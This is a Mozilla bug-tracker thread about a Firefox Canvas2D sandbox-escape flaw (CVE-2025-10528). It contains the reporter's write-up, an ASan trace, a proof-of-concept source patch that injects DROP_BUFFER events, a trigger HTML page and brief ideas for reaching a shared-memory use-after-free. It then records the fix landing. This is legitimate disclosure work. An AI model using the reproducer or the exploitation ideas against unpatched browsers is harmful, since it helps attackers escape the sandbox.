1986185 - (CVE-2025-10528) Sandbox escape using canvas2d dropbuffer without proper size validation

Status: RESOLVED FIXED

(Core :: Graphics: Canvas2D, defect)

Description

[Oskar]

Writeup follows.

Comment 1

[Oskar]

Background

When using the Canvas actor in a remote manner (parent implemented by CanvasTranslator)
Events are being sent from the content process to the compositor (GPU or Browser depending on the platform).

There are several extension events, which are implemented in gfx/layers/RecordedCanvasEventImpl.h

Those events are being written on a read-only (from the compositor POV) shared memory.
which is supplied to the compositor during initialisation (`RecvInitTranslator)

Vulnerability

One of the extended events being handled is RecordedDropBuffer
which is used to "drop" the current shmem being used to read the events, and move to the next in the queue.

bool PlayCanvasEvent(CanvasTranslator* aTranslator) const {
    // Use the next buffer without recycling which drops the current buffer.
    aTranslator->NextBuffer();
    return true;
  }
  
  void CanvasTranslator::NextBuffer() {
  // Check and signal the writer when we finish with a buffer, because it
  // might have hit the buffer count limit and be waiting to use our old one.
  CheckAndSignalWriter();

  mCurrentShmem = std::move(mCanvasShmems.front());
  mCanvasShmems.pop();
  mCurrentMemReader = mCurrentShmem.CreateMemReader();
}

However, there is no check that the mCanvasShmems queue is not empty.
which causes an heap overflow (both read and writes).

Asan report

The asan report is not super indicative in my opinion, as its showing destroying the queue during another initialisation of the canvas actor:

=================================================================
==304265==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x515000410780 at pc 0x7cb356a9ccc9 bp 0x7cb29d95e220 sp 0x7cb29d95e218
READ of size 8 at 0x515000410780 thread T47
    #0 0x7cb356a9ccc8 in mozilla::ipc::shared_memory::MappingBase::operator bool() const /home/user/Downloads/firefox/obj-x86_64-pc-linux-gnu/dist/include/mozilla/ipc/SharedMemoryMapping.h:59:49
    #1 0x7cb356a9ccc8 in mozilla::ipc::shared_memory::MappingBase::IsValid() const /home/user/Downloads/firefox/obj-x86_64-pc-linux-gnu/dist/include/mozilla/ipc/SharedMemoryMapping.h:54:39
    #2 0x7cb356a9ccc8 in mozilla::ipc::shared_memory::MappingBase::Unmap() /home/user/Downloads/firefox/ipc/glue/SharedMemoryMapping.cpp:117:7
    #3 0x7cb357cce0b7 in mozilla::ipc::shared_memory::MappingBase::~MappingBase() /home/user/Downloads/firefox/obj-x86_64-pc-linux-gnu/dist/include/mozilla/ipc/SharedMemoryMapping.h:67:20
    #4 0x7cb357cce0b7 in mozilla::layers::CanvasTranslator::CanvasShmem::~CanvasShmem() /home/user/Downloads/firefox/obj-x86_64-pc-linux-gnu/dist/include/mozilla/layers/CanvasTranslator.h:556:10
    #5 0x7cb357cce0b7 in void std::_Destroy<mozilla::layers::CanvasTranslator::CanvasShmem>(mozilla::layers::CanvasTranslator::CanvasShmem*) /home/user/.mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/bits/stl_construct.h:140:19
    #6 0x7cb357cce0b7 in void std::_Destroy_aux<false>::__destroy<mozilla::layers::CanvasTranslator::CanvasShmem*>(mozilla::layers::CanvasTranslator::CanvasShmem*, mozilla::layers::CanvasTranslator::CanvasShmem*) /home/user/.mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/bits/stl_construct.h:152:6
    #7 0x7cb357cce0b7 in void std::_Destroy<mozilla::layers::CanvasTranslator::CanvasShmem*>(mozilla::layers::CanvasTranslator::CanvasShmem*, mozilla::layers::CanvasTranslator::CanvasShmem*) /home/user/.mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/bits/stl_construct.h:184:7
    #8 0x7cb357cce0b7 in void std::_Destroy<mozilla::layers::CanvasTranslator::CanvasShmem*, mozilla::layers::CanvasTranslator::CanvasShmem>(mozilla::layers::CanvasTranslator::CanvasShmem*, mozilla::layers::CanvasTranslator::CanvasShmem*, std::allocator<mozilla::layers::CanvasTranslator::CanvasShmem>&) /home/user/.mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/bits/alloc_traits.h:842:7
    #9 0x7cb357cce0b7 in std::deque<mozilla::layers::CanvasTranslator::CanvasShmem, std::allocator<mozilla::layers::CanvasTranslator::CanvasShmem>>::_M_destroy_data_aux(std::_Deque_iterator<mozilla::layers::CanvasTranslator::CanvasShmem, mozilla::layers::CanvasTranslator::CanvasShmem&, mozilla::layers::CanvasTranslator::CanvasShmem*>, std::_Deque_iterator<mozilla::layers::CanvasTranslator::CanvasShmem, mozilla::layers::CanvasTranslator::CanvasShmem&, mozilla::layers::CanvasTranslator::CanvasShmem*>) /home/user/.mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/bits/deque.tcc:872:3
    #10 0x7cb357ccdc94 in std::deque<mozilla::layers::CanvasTranslator::CanvasShmem, std::allocator<mozilla::layers::CanvasTranslator::CanvasShmem>>::_M_destroy_data(std::_Deque_iterator<mozilla::layers::CanvasTranslator::CanvasShmem, mozilla::layers::CanvasTranslator::CanvasShmem&, mozilla::layers::CanvasTranslator::CanvasShmem*>, std::_Deque_iterator<mozilla::layers::CanvasTranslator::CanvasShmem, mozilla::layers::CanvasTranslator::CanvasShmem&, mozilla::layers::CanvasTranslator::CanvasShmem*>, std::allocator<mozilla::layers::CanvasTranslator::CanvasShmem> const&) /home/user/.mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/bits/stl_deque.h:2046:4
    #11 0x7cb357ccdc94 in std::deque<mozilla::layers::CanvasTranslator::CanvasShmem, std::allocator<mozilla::layers::CanvasTranslator::CanvasShmem>>::~deque() /home/user/.mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/bits/stl_deque.h:1004:9
    #12 0x7cb357c677f1 in std::queue<mozilla::layers::CanvasTranslator::CanvasShmem, std::deque<mozilla::layers::CanvasTranslator::CanvasShmem, std::allocator<mozilla::layers::CanvasTranslator::CanvasShmem>>>::~queue() /home/user/.mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/bits/stl_queue.h:96:11
    #13 0x7cb357c677f1 in mozilla::layers::CanvasTranslator::~CanvasTranslator() /home/user/Downloads/firefox/gfx/layers/ipc/CanvasTranslator.cpp:98:37

0x515000410780 is located 0 bytes after 512-byte region [0x515000410580,0x515000410780)
allocated by thread T47 here:
    #0 0x5627f1fc192f in malloc /builds/worker/fetches/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:68:3
    #1 0x5627f2012c2d in moz_xmalloc /home/user/Downloads/firefox/memory/mozalloc/mozalloc.cpp:52:15
    #2 0x7cb357c66adf in operator new(unsigned long) /home/user/Downloads/firefox/obj-x86_64-pc-linux-gnu/dist/include/mozilla/cxxalloc.h:33:10
    #3 0x7cb357c66adf in __gnu_cxx::new_allocator<mozilla::layers::CanvasTranslator::CanvasShmem>::allocate(unsigned long, void const*) /home/user/.mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/ext/new_allocator.h:121:27
    #4 0x7cb357c66adf in std::allocator_traits<std::allocator<mozilla::layers::CanvasTranslator::CanvasShmem>>::allocate(std::allocator<mozilla::layers::CanvasTranslator::CanvasShmem>&, unsigned long) /home/user/.mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/bits/alloc_traits.h:460:20
    #5 0x7cb357c66adf in std::_Deque_base<mozilla::layers::CanvasTranslator::CanvasShmem, std::allocator<mozilla::layers::CanvasTranslator::CanvasShmem>>::_M_allocate_node() /home/user/.mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/bits/stl_deque.h:559:9
    #6 0x7cb357c66adf in std::_Deque_base<mozilla::layers::CanvasTranslator::CanvasShmem, std::allocator<mozilla::layers::CanvasTranslator::CanvasShmem>>::_M_create_nodes(mozilla::layers::CanvasTranslator::CanvasShmem**, mozilla::layers::CanvasTranslator::CanvasShmem**) /home/user/.mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/bits/stl_deque.h:660:21
    #7 0x7cb357c66adf in std::_Deque_base<mozilla::layers::CanvasTranslator::CanvasShmem, std::allocator<mozilla::layers::CanvasTranslator::CanvasShmem>>::_M_initialize_map(unsigned long) /home/user/.mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/bits/stl_deque.h:634:4
    #8 0x7cb357c66adf in std::_Deque_base<mozilla::layers::CanvasTranslator::CanvasShmem, std::allocator<mozilla::layers::CanvasTranslator::CanvasShmem>>::_Deque_base() /home/user/.mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/bits/stl_deque.h:436:9
    #9 0x7cb357c66adf in std::deque<mozilla::layers::CanvasTranslator::CanvasShmem, std::allocator<mozilla::layers::CanvasTranslator::CanvasShmem>>::deque() /home/user/.mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/bits/stl_deque.h:831:7
    #10 0x7cb357c66adf in std::queue<mozilla::layers::CanvasTranslator::CanvasShmem, std::deque<mozilla::layers::CanvasTranslator::CanvasShmem, std::allocator<mozilla::layers::CanvasTranslator::CanvasShmem>>>::queue<std::deque<mozilla::layers::CanvasTranslator::CanvasShmem, std::allocator<mozilla::layers::CanvasTranslator::CanvasShmem>>, void>() /home/user/.mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/bits/stl_queue.h:167:4
    #11 0x7cb357c66adf in mozilla::layers::CanvasTranslator::CanvasTranslator(mozilla::layers::SharedSurfacesHolder*, mozilla::dom::IdType<mozilla::dom::ContentParent> const&, unsigned int) /home/user/Downloads/firefox/gfx/layers/ipc/CanvasTranslator.cpp:81:19
    #12 0x7cb3588400ba in already_AddRefed<mozilla::layers::CanvasTranslator> mozilla::MakeAndAddRef<mozilla::layers::CanvasTranslator, RefPtr<mozilla::layers::SharedSurfacesHolder>&, mozilla::dom::IdType<mozilla::dom::ContentParent> const&, unsigned int&>(RefPtr<mozilla::layers::SharedSurfacesHolder>&, mozilla::dom::IdType<mozilla::dom::ContentParent> const&, unsigned int&) /home/user/Downloads/firefox/obj-x86_64-pc-linux-gnu/dist/include/mozilla/RefPtr.h:618:19
    #13 0x7cb3588400ba in mozilla::gfx::CanvasManagerParent::AllocPCanvasParent() /home/user/Downloads/firefox/gfx/ipc/CanvasManagerParent.cpp:176:10

Reproducing

1. Apply the patch to main mozilla source:

diff --git a/dom/canvas/OffscreenCanvasDisplayHelper.cpp b/dom/canvas/OffscreenCanvasDisplayHelper.cpp
index 298c8ea2cc57..0fa0a31eef0e 100644
--- a/dom/canvas/OffscreenCanvasDisplayHelper.cpp
+++ b/dom/canvas/OffscreenCanvasDisplayHelper.cpp
@@ -14,9 +14,12 @@
 #include "mozilla/gfx/2D.h"
 #include "mozilla/gfx/CanvasManagerChild.h"
 #include "mozilla/gfx/DataSurfaceHelpers.h"
+#include "mozilla/gfx/Point.h"
 #include "mozilla/gfx/Swizzle.h"
+#include "mozilla/layers/CanvasChild.h"
 #include "mozilla/layers/ImageBridgeChild.h"
 #include "mozilla/layers/PersistentBufferProvider.h"
+#include "mozilla/layers/RecordedCanvasEventImpl.h"
 #include "mozilla/layers/TextureClientSharedSurface.h"
 #include "mozilla/layers/TextureWrapperImage.h"
 #include "nsICanvasRenderingContextInternal.h"
@@ -208,6 +211,17 @@ bool OffscreenCanvasDisplayHelper::CommitFrameToCompositor(
     }
   });
 
+  auto cm = gfx::CanvasManagerChild::Get();
+  auto cc = cm->GetCanvasChild();
+  if (cc) {
+    cc->EnsureRecorder(gfx::IntSize(100, 100), gfx::SurfaceFormat::A8,
+                       layers::TextureType::Unknown,
+                       layers::TextureType::Unknown);
+    cc->RecordEvent(layers::RecordedDropBuffer());
+    cc->RecordEvent(layers::RecordedDropBuffer());
+  }
+  cc.forget();
+
   MutexAutoLock lock(mMutex);
 
   gfx::SurfaceFormat format = gfx::SurfaceFormat::B8G8R8A8;
diff --git a/gfx/layers/CanvasDrawEventRecorder.cpp b/gfx/layers/CanvasDrawEventRecorder.cpp
index ece5f111e963..edb3aa19bda0 100644
--- a/gfx/layers/CanvasDrawEventRecorder.cpp
+++ b/gfx/layers/CanvasDrawEventRecorder.cpp
@@ -80,6 +80,8 @@ bool CanvasDrawEventRecorder::Init(TextureType aTextureType,
   if (NS_WARN_IF(buffer.isNothing())) {
     return false;
   }
+  *reinterpret_cast<uint8_t*>(buffer->shmem.Address()) = DROP_BUFFER; // This will transition us into the second buffer.
+
   mCurrentBuffer = CanvasBuffer(std::move(buffer->shmem));
   bufferHandles.AppendElement(std::move(buffer->handle).ToReadOnly());
 
@@ -87,9 +89,13 @@ bool CanvasDrawEventRecorder::Init(TextureType aTextureType,
   if (NS_WARN_IF(buffer.isNothing())) {
     return false;
   }
+
+  *reinterpret_cast<uint8_t*>(buffer->shmem.Address()) = DROP_BUFFER; // Last buffer drop_buffer command, will trigger UAF.
+
   mRecycledBuffers.emplace(std::move(buffer->shmem), 0);
   bufferHandles.AppendElement(std::move(buffer->handle).ToReadOnly());
 
+
   mWriterSemaphore.reset(CrossProcessSemaphore::Create("CanvasRecorder", 0));
   auto writerSem = mWriterSemaphore->CloneHandle();
   mWriterSemaphore->CloseHandle();
@@ -113,6 +119,7 @@ bool CanvasDrawEventRecorder::Init(TextureType aTextureType,
 
   mTextureType = aTextureType;
   mHeaderShmem = std::move(header->shmem);
+
   return true;
 }
 
@@ -187,6 +194,7 @@ gfx::ContiguousBuffer& CanvasDrawEventRecorder::GetContiguousBuffer(
   }
 
   bool useRecycledBuffer = false;
+
   if (mRecycledBuffers.front().Capacity() > aSize) {
     // The recycled buffer is big enough, check if it is free.
     if (mRecycledBuffers.front().eventCount <= mHeader->processedCount) {
diff --git a/gfx/thebes/gfxPlatform.cpp b/gfx/thebes/gfxPlatform.cpp
index 904664437584..2bd7ac465a1e 100644
--- a/gfx/thebes/gfxPlatform.cpp
+++ b/gfx/thebes/gfxPlatform.cpp
@@ -2500,7 +2500,7 @@ void gfxPlatform::InitAcceleration() {
                             "FEATURE_REMOTE_CANVAS_NOT_WINDOWS"_ns);
 #endif
 
-    gfxVars::SetRemoteCanvasEnabled(feature.IsEnabled());
+    gfxVars::SetRemoteCanvasEnabled(true);
   }
 }
 

Explanation for the patch:
1. I patched the features to enable remote canvas, since im running inside a vm.
2. I initialised both of the buffers being sent during translator initialisation to contain the `DROP_BUFFER` event.
3. I used the `OffscreenCanvasDisplayHelper` (aka offscreen canvas) to trigger my malicious code path.

2. . I used the following basic html to use an offscreen-canvas:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>OffscreenCanvas Rectangle</title>
    <style>
        body {
            font-family: 'Arial', sans-serif;
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            min-height: 100vh;
            margin: 0;
            background-color: #f4f4f9;
        }

        h1 {
            color: #333;
            margin-bottom: 20px;
        }

        canvas {
            border: 2px solid #333;
            background-color: #fff;
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
        }

        .status {
            margin-top: 20px;
            font-size: 1.1em;
            color: #555;
        }
    </style>
</head>
<body>
    <h1>OffscreenCanvas Example</h1>
    <canvas id="main-canvas" width="400" height="300"></canvas>
    <div class="status"></div>

    <script>
        // Get the canvas from the main HTML document.
        const canvas = document.getElementById('main-canvas');
        const statusDiv = document.querySelector('.status');

        // Check if OffscreenCanvas is supported by the browser.
        if ('transferControlToOffscreen' in canvas) {
            statusDiv.textContent = 'Transferring canvas control to web worker...';

            // Transfer the canvas control to an OffscreenCanvas.
            const offscreen = canvas.transferControlToOffscreen();

            // Create a web worker from a Blob containing the worker's code.
            // This allows us to keep all the code in a single HTML file.
            const workerCode = `
                self.onmessage = function(event) {
                    // Receive the OffscreenCanvas object from the main thread.
                    const offscreenCanvas = event.data.canvas;
                    
                    // Get the 2D rendering context for the offscreen canvas.
                    const ctx = offscreenCanvas.getContext('2d');
                    
                    // All drawing operations happen here, completely off the main thread.
                    ctx.fillStyle = '#4CAF50'; // Green color
                    ctx.fillRect(50, 50, 300, 200); // Draw a rectangle
                    
                    // Send a message back to the main thread to confirm completion.
                    self.postMessage('Drawing complete!');
                };
            `;
            const workerBlob = new Blob([workerCode], { type: 'text/javascript' });
            const worker = new Worker(URL.createObjectURL(workerBlob));

            // Send the OffscreenCanvas to the worker.
            // The canvas is "transferred" to the worker's memory space,
            // which means it is no longer usable on the main thread.
            worker.postMessage({ canvas: offscreen }, [offscreen]);

            // Listen for a message from the worker to update the status.
            worker.onmessage = function(event) {
                statusDiv.textContent = 'Worker finished: ' + event.data;
            };

        } else {
            statusDiv.textContent = 'OffscreenCanvas is not supported in this browser.';
        }
    </script>
</body>
</html>

3. Compile the patch and serve the html file (python -m http.server).

Further ideas for exploitation

As we can create an out of bound mCurrentShmem object which will be eventually freed,
we can use this to unmap a shared memory for the remote process,
basically, creating a UAF on a shared memory, which we can later on catch with our own content mapping, possibly interfering with other processes IPC.

This vulnerability was found using manual code auditing.

Comment 2

[Lee Salzman [:lsalzman]]

Attachment: (secure)

Comment 3

[Lee Salzman [:lsalzman]]

Comment on attachment 9510673 [details]
(secure)

Security Approval Request

• How easily could an exploit be constructed based on the patch?: Unknown.
• Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: Unknown
• Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: 122+
• If not all supported branches, which bug introduced the flaw?: Bug 1863914
• Do you have backports for the affected branches?: Yes
• If not, how different, hard to create, and risky will they be?:
• How likely is this patch to cause regressions; how much testing does it need?: Unlikely.
• Is the patch ready to land after security approval is given?: Yes
• Is Android affected?: Yes

Comment 4

[Lee Salzman [:lsalzman]]

This looks like a csectype-undefined and/or csectype-wildptr.

The central problem is accessing front() and then then pop() on an empty std::queue, which would have undefined behavior and could place an unknown/unpredictable value (it would vary by C++ stdlib implementation) in a shmem handle container. Having a random value in a shmem handle doesn't automatically mean that you can then associate a useful value with that shmem handle, since that value comes from popping the empty std::queue, and the more likely outcome is simply some form of crashing.

If you could successfully redirect a valid shmem into the handle via this bug, this doesn't necessarily advance a hacker's goals beyond just explicitly overwriting the contents of the existing shmem from the content process (which does not require any messing with the handle or exploit otherwise). You would have to redirect to some other shmem created by another process for it to be worrisome, and it would still need to be formatted as a canvas command stream to effectively do anything with it, but the mechanism for how you would do such a thing is unclear, as the memory returned from an empty front() or pop(), while undefined, is not arbitrarily specifiable?

Comment 5

[BugBot [:suhaib / :marco]]

Set release status flags based on info from the regressing bug 1863914

Comment 6

[Tom Ritter [:tjr]]

Comment on attachment 9510673 [details]
(secure)

Approved to land and uplift

Comment 7

[Lee Salzman [:lsalzman]]

Comment on attachment 9510673 [details]
(secure)

Beta/Release Uplift Approval Request

• User impact if declined/Reason for urgency: Possible compromise if GPU or parent process.
• Is this code covered by automated tests?: Unknown
• Has the fix been verified in Nightly?: Yes
• Needs manual test from QE?: No
• If yes, steps to reproduce:
• List of other uplifts needed: None
• Risk to taking this patch: Low
• Why is the change risky/not risky? (and alternatives if risky): Just avoids operations on empty queue.
• String changes made/needed:
• Is Android affected?: Yes

ESR Uplift Approval Request

• If this is not a sec:{high,crit} bug, please state case for ESR consideration:
• User impact if declined:
• Fix Landed on Version: 144
• Risk to taking this patch: Low
• Why is the change risky/not risky? (and alternatives if risky):

Comment 8

[Pulsebot]

Pushed by [e-mail]:
https://github.com/mozilla-firefox/firefox/commit/8bdae2e8ab0c
https://hg.mozilla.org/integration/autoland/rev/9a6c4e9e3251
r=aosmond

Comment 9

[Donal Meehan [:dmeehan]]

https://hg.mozilla.org/mozilla-central/rev/9a6c4e9e3251

Comment 10

[Ryan VanderMeulen [:RyanVM]]

Comment on attachment 9510673 [details]
(secure)

Approved for 143.0b8 and 140.3esr.

Comment 11

[Pulsebot]

https://github.com/mozilla-firefox/firefox/commit/bf767786e775
https://hg.mozilla.org/releases/mozilla-beta/rev/a0fc786a769f

Comment 12

[Pulsebot]

https://hg.mozilla.org/releases/mozilla-esr140/rev/94e160d25a3c